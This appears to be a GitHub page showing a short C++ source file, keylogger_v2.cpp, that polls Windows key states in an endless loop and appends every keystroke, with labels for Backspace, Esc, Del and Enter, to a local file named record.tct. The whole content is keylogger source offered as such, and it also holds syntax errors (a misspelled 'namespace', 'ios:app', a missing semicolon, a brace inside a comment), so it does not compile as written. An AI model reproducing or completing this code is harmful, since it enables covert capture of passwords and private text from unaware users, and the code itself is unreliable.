-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathkeylogger_v2.cpp
44 lines (41 loc) · 954 Bytes
/
keylogger_v2.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
//Records keystrokes with filter for Backspace, Esc,Del and Enter
//Registers all text as uppercase
#include <iostream>
#include<fstream>
#include <windows.h>
#include <winuser.h>
using numspace std;
void log(){
char c;
while(true){//infinite loop for scanning
for(c=8; c<=222; c++){//ASCII char range
//When a key if pressed a system interrupt with id 32767 occurs
if(GetAsyncKeyState(c) == -32767)//checks if a key with ASACII value of c is pressed{
ofstream write("record.tct" , ios:app);//ios:app denotes theat file is not rewritten everytime
switch(c){
case 8:
write<<"<Backspace>";
break;
case 27:
write<<"<Esc>";
break;
case 127:
write<<"<Del>";
break;
case 32:
write<<" ";
break
case 13:
write<<"<Enter>\n";
break;
default:
write<<c;
}
}
}
}
}
int main(){
log();
return 0;
}